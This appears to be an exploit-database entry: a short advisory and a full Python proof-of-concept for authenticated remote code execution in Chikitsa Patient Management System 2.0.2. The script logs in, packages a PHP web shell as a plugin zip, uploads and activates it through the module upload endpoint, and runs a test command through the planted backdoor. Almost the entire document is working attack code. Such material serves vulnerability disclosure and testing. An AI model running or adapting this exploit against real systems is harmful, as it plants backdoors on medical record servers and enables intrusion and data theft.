Chikitsa Patient Management System version 2.0.2 suffers from a plugin related authenticated remote code execution vulnerability.
# Exploit Title: Chikitsa Patient Management System 2.0.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu
import requests
import os
import argparse
def login(session , target , username , password):
print("[+] Attempting to login with the credential")
url = target + "/index.php/login/valid_signin"
login_data = {"username" : username , "password" : password}
session.post(url , data=login_data , verify=False)
return session
def generate_plugin():
print("[+] Generating a malicious plugin")
global tmp_dir
tmp_dir = os.popen("mktemp -d").read().rstrip()
open(f"{tmp_dir}/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
os.popen(f"cd {tmp_dir} && zip rce.zip rce.php").read()
def upload_plugin(session , target):
print("[+] Uploading the plugin into the server.")
url = target + "/index.php/module/upload_module/"
file = open(f"{tmp_dir}/rce.zip" , "rb").read()
session.post(url , verify=False ,files = {"extension" : ("rce.zip" , file)})
session.get(target + "/index.php/module/activate_module/rce" , verify=False)
print(f"[+] Backdoor Deployed at : {target}/application/modules/rce.php")
print(f"[+] Example Output : {requests.get(target +'/application/modules/rce.php?cmd=id' , verify=False).text}")
def main():
parser = argparse.ArgumentParser("""
__ _ __ _ __
_____/ /_ (_) /__(_) /__________ _
/ ___/ __ / / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__ ) /_/ /
___/_/ /_/_/_/|_/_/__/____/__,_/
Chikitsa Patient Management System 2.0.2 Authenticated Plugin Upload Remote Code Execution :
POC Written By - 0z09e (https://twitter.com/0z09e)nn""" , formatter_class=argparse.RawTextHelpFormatter)
req_args = parser.add_argument_group('required arguments')
req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
req_args.add_argument("-u" , "--username" , help="Username" , required=True)
req_args.add_argument("-p" , "--password" , help="password", required=True)
args = parser.parse_args()
target = args.URL
if target[-1] == "/":
target = target[:-1]
username = args.username
password = args.password
session = requests.session()
login(session , target , username , password)
generate_plugin()
upload_plugin(session , target)
if __name__ == "__main__":
main()